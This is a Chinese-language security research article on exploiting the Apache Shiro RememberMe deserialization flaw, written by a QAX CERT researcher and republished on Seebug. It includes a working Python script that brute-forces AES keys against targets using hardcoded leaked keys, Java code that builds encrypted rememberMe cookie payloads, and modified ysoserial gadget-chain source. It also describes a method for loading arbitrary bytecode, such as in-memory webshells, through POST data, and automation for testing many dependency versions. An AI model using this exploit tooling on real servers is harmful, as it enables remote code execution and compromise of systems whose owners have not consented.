作者:Veraxy@QAX CERT
原文鏈接:https://mp.weixin.qq.com/s/WDmj4-2lB-hlf_Fm_wDiOg

Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。目前在Java web應用安全框架中,最熱門的產品有Spring Security和Shiro,二者在核心功能上幾乎差不多,但Shiro更加輕量級,使用簡單、上手更快、學習成本低,所以Shiro的使用量一直高于Spring Security。產品用戶量之高,一旦爆發漏洞波及范圍相當廣泛,研究其相關漏洞很有必要,本文主要探討Shiro反序列化漏洞利用思路及工具編寫,如有不足之處,歡迎批評指正。

0x01Shiro反序列化漏洞

漏洞原理

Apache Shiro框架提供了記住我的功能(RememberMe),用戶登陸成功后會生成經過加密并編碼的cookie,在服務端接收cookie值后,Base64解碼-->AES解密-->反序列化。攻擊者只要找到AES加密的密鑰,就可以構造一個惡意對象,對其進行序列化-->AES加密-->Base64編碼,然后將其作為cookie的rememberMe字段發送,Shiro將rememberMe進行解密并且反序列化,最終造成反序列化漏洞。

Shiro 1.2.4版本默認固定密鑰:

圖片

Shiro框架默認指紋特征

在請求包的Cookie中為?rememberMe字段賦任意值,收到返回包的 Set-Cookie 中存在?rememberMe=deleteMe?字段,說明目標有使用Shiro框架,可以進一步測試。

圖片

0x02漏洞利用

2.1 AES密鑰

Shiro 1.2.4及之前的版本中,AES加密的密鑰默認硬編碼在代碼里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代碼中的默認密鑰,要求開發者自己設置,如果開發者沒有設置,則默認動態生成,降低了固定密鑰泄漏的風險。

圖片

有很多開源的項目內部集成了shiro并二次開發,可能會重現低版本shiro的默認固定密鑰風險。例如Guns開源框架內部集成了shiro并進行二次開發,作者自定義密鑰并固定,此時用戶若不對密鑰進行修改,即使升級shiro版本,也依舊存在固定密鑰的風險。(相關issues地址:https://github.com/stylefeng/Guns/issues/48)

圖片

開發者在使用shiro時通常會找一些教程來幫助快速搭建,針對教程中自定義的密鑰未修改就直接copy過來的情況也比較常見。

圖片

經過以上分析,升級shiro版本并不能根本解決反序列化漏洞,代碼復用會直接導致項目密鑰泄漏,從而造成反序列化漏洞。針對公開的密鑰集合,我們可以在github上搜索到并加以利用。【搜索關鍵詞:"securityManager.setRememberMeManager(rememberMeManager); Base64.decode("或"setCipherKey(Base64.decode("】

圖片

2.2 目標AES密鑰判斷

收集到了密鑰集合,接下來要對目標進行密鑰判斷,我們如何獲知選擇的密鑰是否與目標匹配呢?文章一種另類的 shiro 檢測方式提供了思路,當密鑰不正確或類型轉換異常時,目標Response包含Set-Cookie:rememberMe=deleteMe字段,而當密鑰正確且沒有類型轉換異常時,返回包不存在Set-Cookie:rememberMe=deleteMe字段。接下來對這兩種情況簡單分析一下:

1)密鑰不正確

Key不正確,解密時org.apache.shiro.crypto.JcaCipherService#crypt拋出異常

圖片

進而走進org.apache.shiro.web.servlet.impleCookie#removeFrom方法,在返回包中添加了rememberMe=deleteMe字段

圖片

于是獲得的返回包包含了Set-Cookie:rememberMe=deleteMe字段。

圖片

2)類型轉換異常

org.apache.shiro.mgt.AbstractRememberMeManager#deserialize進行數據反序列化,返回結果前有對反序列化結果對象做PrincipalCollection的強制類型轉換。

圖片

可以看到類型轉換報錯,因為我們的反序列化結果對象與PrincipalCollection并沒有繼承關系

圖片

反序列化方法捕獲到該異常,后面是熟悉的代碼

圖片

再次走到org.apache.shiro.web.servlet.SimpleCookie#removeFrom方法,為返回包添加了rememberMe=deleteMe字段

圖片

獲得與第一種情況一樣的返回包。

圖片

根據上面的分析,我們需要構造payload排除類型轉換錯誤,進而準確判斷密鑰。當序列化對象繼承PrincipalCollection時,類型轉換正常,SimplePrincipalCollection是已存在的可利用類。

圖片

創建一個SimplePrincipalCollection對象并將其序列化。

圖片

將序列化數據基于key進行AES加密并base64編碼發起請求,當返回包不存在Set-Cookie:rememberMe=deleteMe字段時,說明密鑰與目標匹配。

圖片

2.3 密鑰判斷腳本

shiro在1.4.2版本之前, AES的模式為CBC, IV是隨機生成的,并且IV并沒有真正使用起來,所以整個AES加解密過程的key就很重要了,正是因為AES使用Key泄漏導致反序列化的cookie可控,從而引發反序列化漏洞。在1.4.2版本后,shiro已經更換加密模式 AES-CBC為 AES-GCM,腳本編寫時需要考慮加密模式變化的情況。

密鑰集合我這里簡單列舉了幾個,網上流傳大量現成的Shiro key top 100集合,請自行查找替換。密鑰判斷腳本如下:

import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']     # 此處簡單列舉幾個密鑰
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes

    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("正確KEY :" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正確key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

            if res.headers.get("Set-Cookie") == None:
                print("正確KEY:" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正確key:" + key)
                    return key
            print("正確key:" + key)
            return key
        except Exception as e:
            print(e)

2.4 利用復現

服務端接收rememberMe的cookie值后的操作是:Cookie中rememberMe字段內容 ---> Base64解密 ---> 使用密鑰進行AES解密 --->反序列化,我們要構造POC就需要先序列化數據然后再AES加密最后base64編碼。

1) 構造序列化數據

下載ysoserial工具并打包:

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

生成的工具在target/目錄下ysoserial-0.0.6-SNAPSHOT-all.jar文件,借助ysoserial工具生成序列化數據:

圖片

2) 獲取AES加密的密鑰Key

利用上文中編寫的腳本來獲取真實密鑰。

圖片

3) 生成rememberMe字段Payload

前兩步得到了序列化數據和正確密鑰,對序列化數據基于密鑰進行AES加密,base64編碼生成payload,代碼如下:

package com.veraxy;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;

public class ShiroRememberMeGenPayload {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("xxx/xxx/test.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));
        out.write(ciphertext.toString());
        out.close();
        System.out.printf("OK");

    }
}

將payload添加至Cookie中的rememberMe字段值發起請求,成功反序列化對象并執行命令。

圖片

0x03進一步利用

3.1 Payload長度限制

簡單分析一條TemplatesImpl的反序列化利用鏈CommonsBeanutils1,利用ysoserial工具生成序列化對象時,鍵入了一條命令,在getObject方法中接收command參數

圖片

跟進createTemplatesImpl方法,找到了實際執行的代碼,插入了java.lang.Runtime.getRuntime().exec()來執行命令,那我們替換cmd參數值就可以執行任何代碼,比如內存馬

圖片

shiro反序列化漏洞常規利用點在數據包的header頭中,在這里直接插入目標代碼,生成的payload是很長的,肯定會超過中間件 header 長度限制,如何解決這個問題呢?

文章Java代碼執行漏洞中類動態加載的應用提供了思路,將要加載的字節碼放到post請求攜帶的data數據包中,header頭中的payload僅僅實現讀取和加載外部字節碼的功能,接下來動手操作:

1)打開ysoserial源碼,pom文件中添加依賴:

圖片

2)自定義ClassLoader,獲取上下文request中傳入的參數值,并實現動態加載外部字節碼。

圖片

重載createTemplatesImpl方法,參數設置為要讓服務端加載的類,_bytecodes參數攜帶要加載的目標類字節碼

圖片

修改該payload的getObject方法,讓createTemplatesImpl方法加載我們自定義的ClassLoader

圖片

重新打包ysoserial,生成序列化數據

圖片

拿出上文中寫好的生成rememberMe字段Payload的腳本,基于ysoserial生成的序列化數據和已知key生成Payload,作為請求包Cookie中rememberMe的參數值。

圖片

接下來需要在POST請求包攜帶的data數據中插入要加載的字節碼,這里選擇延時代碼進行測試:

public class SleepTest {
    static{
        try {
            long aaa = 20000;
            Thread.currentThread().sleep(aaa);
        } catch (Exception e) {
        }
    }
}

將目標類編譯并base64之后作為c的參數值發起請求,看到系統執行了延時代碼。

圖片

接下來就可以根據具體需求替換c的參數值了,比如內存馬等其他體積龐大的字節碼數據。

3.2 SUID不匹配

反序列時, 如果字節流中的serialVersionUID與目標服務器對應類中的serialVersionUID不同時就會出現異常,造成反序列化失敗。

圖片

SUID不同是jar包版本不同所造成,不同版本jar包可能存在不同的計算方式導致算出的SUID不同,這種情況下只需要基于目標一樣的jar包版本去生成payload即可解決異常,進而提升反序列化漏洞利用成功率。

圖片

由于不知道目標服務器的依賴版本, 所以只有使用該依賴payload對所有版本目標進行測試,確認payload版本覆蓋程度,排除SUID不匹配異常后,得到可利用payload集合。

0x04工具編寫

師傅們一再強調Shiro本身不存在可利用鏈,反序列化漏洞可被利用的原因是部署Shiro的網站引入了可利用的依賴包,所以思維不能局限于Shiro本身,它只是個切入點,而可利用鏈還要進一步確認。

4.1 大概思路

完全不出網的場景,一些需要出網的gadget就暫時不考慮了,常見的TemplatesImpl的反序列化利用鏈有CommonsBeanutils1、CommonsCollections4、CommonsCollections10、Hibernate1、Jdk7u21。

1)確認SUID不匹配的版本

比如Hibernate1中SUID不匹配的問題就比較常見

payload版本 適用目標依賴版本
hibernate-core 4.2.21.Final 4.2.11.Final- 4.2.21.Final
hibernate-core 4.3.11.Final 4.3.5.Final- 4.3.11.Final
hibernate-core 5.0.0.Final 5.0.0.Final
hibernate-core 5.0.1.Final 5.0.1.Final- 5.0.3.Final
hibernate-core 5.0.7.Final 5.0.7.Final- 5.0.12.Final
hibernate-core 5.1.0.Final 5.1.0.Final- 5.1.17.Final
hibernate-core 5.2.0.Final 5.2.0.Final- 5.2.8.Final
hibernate-core 5.2.9.Final 5.2.9.Final - 5.2.18.Final、5.3.0.Final - 5.3.18.Final、5.4.0.Final - 5.4.3.Final
hibernate-core 5.4.4.Final 5.4.4.Final- 5.4.21.Final

每個鏈基于確認好的版本分別生成序列化數據做積累,隨后用腳本遍歷這些序列化數據生成payload,對目標進行依賴和版本探測。

圖片

2)探測并生成可用payload

把上文寫的爆破密鑰的腳本集成進來,先確認目標的真實密鑰,隨后在POST請求包攜帶的data數據中插入延時代碼,遍歷積累的序列化數據作為POST請求包Cookie字段中rememberMe參數值,探測目標存在的利用鏈及依賴版本。

圖片

運行啟動腳本,隨著不斷的探測,命令行界面輸出目標真實密鑰和適配目標可用的payload,根據提示把可用payload粘貼到請求包Cookie字段。

圖片

參考前文利用復現的流程,修改POST請求包,用生成的Payload填充Cookie字段中rememberMe參數值,POST請求包攜帶的data數據中添加c參數,參數值自選,比如我這里仍舊插入延時探測的字節碼。

圖片

4.2 嘗試優化

上文提到利用鏈多個版本的序列化數據需要手動生成,耗時耗力,萌生了優化生成多版本序列化數據的過程并集成至工具中的想法。

我們想要實現ysoserial工具每個利用鏈批量化的基于多個版本的依賴生成payload,降低人力消耗。例如ysoserial中的工具鏈CommonsBeanutils1分別基于1.9.2版本和1.8.3版本生成payload,ysoserial-0.0.6-SNAPSHOT-all.jar開放版本參數來生成指定版本的payload:

Java -jar ysoserial-0.0.6-SNAPSHOT-all.jar   CommonsBeanutils1 cb-1.9.2 “Calc”
Java -jar ysoserial-0.0.6-SNAPSHOT-all.jar   CommonsBeanutils1 cb-1.8.3 “Calc”

maven打包工具jar時,pom文件同時加載多個版本依賴會產生版本沖突,如何實現設想呢?可以嘗試自定義類加載器(ClassLoader)動態加載外部依賴,從而擺脫maven打包時依賴版本沖突的限制。

Java提供給我們一個自定義ClassLoader的工具類URLClassLoader,專門用于加載本地或網絡的?class 或jar文件,例如想要加載本地磁盤上的類:

public static void main(String[] args) throws Exception{
  File file = new File("d:/");
  URI uri = file.toURI();
  URL url = uri.toURL();
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});    Class aClass = classLoader.loadClass("com.veraxy.Demo");
   Object obj = aClass.newInstance();
 }

接下來動手修改ysoserial,打開ysoserial源碼。

1)編寫自定義UrlClassLoaderUtils工具類,加載指定位置外部依賴。

package ysoserial;

import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;

public class UrlClassLoaderUtils {
    public URLClassLoader urlClassLoader;
    public URLClassLoader loadJar(String gadgetName) throws Exception {
        File[] jarspath = getJarsPath(gadgetName);
        try{
            for(File jar : jarspath){
                URL url = jar.toURI().toURL();
                urlClassLoader = new URLClassLoader(new URL[]{url});
            }
        }catch(Exception e){
            System.out.println("加載jar出錯!"+e);
        }
        return urlClassLoader;
    }

    public File[] getJarsPath(String gadgetName){
        String basePath = System.getProperty("user.dir")+ File.separator+"lib"+File.separator;
        String directoryPath = basePath + gadgetName;
        File directory = new File(directoryPath);
        File[] jars = directory.listFiles();
        return jars;
    }

    public static void main(String[] args) throws Exception {
        String gadgetName = "hibernate5";
        UrlClassLoaderUtils u = new UrlClassLoaderUtils();
        Class a = u.loadJar(gadgetName).loadClass("org.hibernate.tuple.component.AbstractComponentTuplizer");
    }
}

2)修改工具鏈,使用自定義的UrlClassLoaderUtils工具類加載外部依賴的方式實現,這里以工具鏈CommonsCollections10為例。

package ysoserial.payloads;

import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import ysoserial.UrlClassLoaderUtils;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections10_ClassLoader_plus extends PayloadRunner implements ObjectPayload<HashSet> {
    private Class InvokerTransformer = null;
    private Class LazyMap = null;
    private Class TiedMapEntry = null;
    private Class Transformer = null;

    public CommonsCollections10_ClassLoader_plus(URLClassLoader urlClassLoader) throws Exception{
        this.Transformer = urlClassLoader.loadClass("org.apache.commons.collections.Transformer");
        this.InvokerTransformer = urlClassLoader.loadClass("org.apache.commons.collections.functors.InvokerTransformer");
        this.LazyMap = urlClassLoader.loadClass("org.apache.commons.collections.map.LazyMap");
        this.TiedMapEntry = urlClassLoader.loadClass("org.apache.commons.collections.keyvalue.TiedMapEntry");
    }


    public HashSet getObject(String command) throws Exception
    {
        Object templates = Gadgets.createTemplatesImpl(command);
        Constructor constructorinvokertransformer = this.InvokerTransformer.getDeclaredConstructor(String.class,Class[].class,Object[].class);
        constructorinvokertransformer.setAccessible(true);
        Object transformer = constructorinvokertransformer.newInstance("toString",new Class[0], new Object[0]);

        Map innerMap = new HashMap();

        Constructor constructorlazymap = this.LazyMap.getDeclaredConstructor(Map.class,this.Transformer);
        HashMap innermap = new HashMap();
        constructorlazymap.setAccessible(true);
        Object lazyMap =  constructorlazymap.newInstance(innermap,transformer);

        Constructor constructortidemapentry = this.TiedMapEntry.getConstructor(Map.class,Object.class);
        constructortidemapentry.setAccessible(true);
        Object entry = constructortidemapentry.newInstance(lazyMap,templates);

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try
        {
            f = HashSet.class.getDeclaredField("map");
        }
        catch (NoSuchFieldException e)
        {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        Reflections.setAccessible(f);
        HashMap innimpl = null;
        innimpl = (HashMap)f.get(map);

        Field f2 = null;
        try
        {
            f2 = HashMap.class.getDeclaredField("table");
        }
        catch (NoSuchFieldException e)
        {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        Reflections.setAccessible(f2);
        Object[] array = new Object[0];
        array = (Object[])f2.get(innimpl);
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }
        Field keyField = null;
        try
        {
            keyField = node.getClass().getDeclaredField("key");
        }
        catch (Exception e)
        {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        Reflections.setAccessible(keyField);
        keyField.set(node, entry);
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

        return map;
    }

    public static void main(String[] args) throws Exception
    {
        PayloadRunner.run(CommonsCollections10_ClassLoader_plus.class, args);
    }
}

3)下載多版本依賴到本地

我編寫的UrlClassLoaderUtils工具類中,是指定遍歷加載項目根目錄下lib中的依賴,接下來需要手動下載工具鏈相關依賴到本地lib目錄下,并按版本分別歸類文件夾。

圖片

4)修改ysoserial啟動類GeneratePayload,實例化UrlClassLoaderUtils工具類,開放指定要加載的依賴版本的參數。

package ysoserial;

import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.net.URLClassLoader;
import java.util.*;

import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.UrlClassLoaderUtils;

@SuppressWarnings("rawtypes")
public class GeneratePayload {
    private static final int INTERNAL_ERROR_CODE = 70;
    private static final int USAGE_CODE = 64;

    public static void main(final String[] args) {
        if (args.length != 3) {
            printUsage();
            System.exit(USAGE_CODE);
        }
        final String payloadType = args[0];
        final String command = args[1];
        final String version = args[2];

        final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
        System.out.println(payloadClass);
        if (payloadClass == null) {
            System.err.println("Invalid payload type '" + payloadType + "'");
            printUsage();
            System.exit(USAGE_CODE);
            return; // make null analysis happy
        }

        try {
            UrlClassLoaderUtils classLoaderUtils = new UrlClassLoaderUtils();
            Constructor<? extends ObjectPayload<?>> classConstructor = (Constructor<? extends ObjectPayload<?>>) payloadClass.getDeclaredConstructor(URLClassLoader.class);
            ObjectPayload<?> payload = classConstructor.newInstance(classLoaderUtils.loadJar(version));
            final Object object = payload.getObject(command);
            PrintStream out = System.out;
            Serializer.serialize(object, out);
            ObjectPayload.Utils.releasePayload(payload, object);
        } catch (Throwable e) {
            System.err.println("Error while generating or serializing payload");
            e.printStackTrace();
            System.exit(INTERNAL_ERROR_CODE);
        }
        System.exit(0);
    }

    private static void printUsage() {
        System.err.println("Y SO SERIAL?");
        System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
        System.err.println("  Available payload types:");

        final List<Class<? extends ObjectPayload>> payloadClasses =
            new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
        Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize

        final List<String[]> rows = new LinkedList<String[]>();
        rows.add(new String[] {"Payload", "Authors", "Dependencies"});
        rows.add(new String[] {"-------", "-------", "------------"});
        for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
             rows.add(new String[] {
                payloadClass.getSimpleName(),
                Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
                Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
            });
        }

        final List<String> lines = Strings.formatTable(rows);

        for (String line : lines) {
            System.err.println("     " + line);
        }
    }
}

5) 打包ysoserial為工具jar,與lib目錄同級,這里指定加載commons-collections-3.2.jar依賴并生成payload。

圖片

6)ysoserial修改好了,接下來將其集成至Python工具中,將lib依賴包和ysoserial-0.0.6-SNAPSHOT-all.jar搬進去,代碼中添加執行ysoserial-0.0.6-SNAPSHOT-all.jar批量生成基于多個版本依賴的序列化數據腳本,此時執行腳本即可自動生成多個版本的序列化數據,節省部分人力。

圖片

若不需要集成ysoserial-0.0.6-SNAPSHOT-all.jar至工具中,僅僅為了生成序列化數據,可以借鑒Generate all unserialize payload via serialVersionUID文章中的Generate payload腳本,通過修改classpath來實現加載不同版本的jar包,看起來效果還不錯。(文章地址:http://www.yulegeyu.com/2019/04/01/Generate-all-unserialize-payload-via-serialVersionUID/)

圖片

0x05總結

本文對Shiro反序列化漏洞進行簡單分析,主要集中在漏洞利用部分,以編寫利用工具為主線,提出問題尋找解決方案,以及遇到的一些限制和提升攻擊成功率的措施,后期嘗試優化基于多個版本生成序列化數據的過程,修改ysoserial源碼,自定義類加載器動態加載外部jar,坑比較多,但確實可行,如果大家有更好的解決方案,歡迎一起交流學習。

0x06參考文獻

http://shiro.apache.org/configuration.html

https://issues.apache.org/jira/browse/SHIRO-550

https://github.com/stylefeng/Guns

https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ

https://mp.weixin.qq.com/s/5iYyRGnlOEEIJmW1DqAeXw

http://www.yulegeyu.com/2019/04/01/Generate-all-unserialize-payload-via-serialVersionUID/

https://www.sohu.com/a/284726504_727010

https://blog.csdn.net/qq_36640744/article/details/80093557


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1503/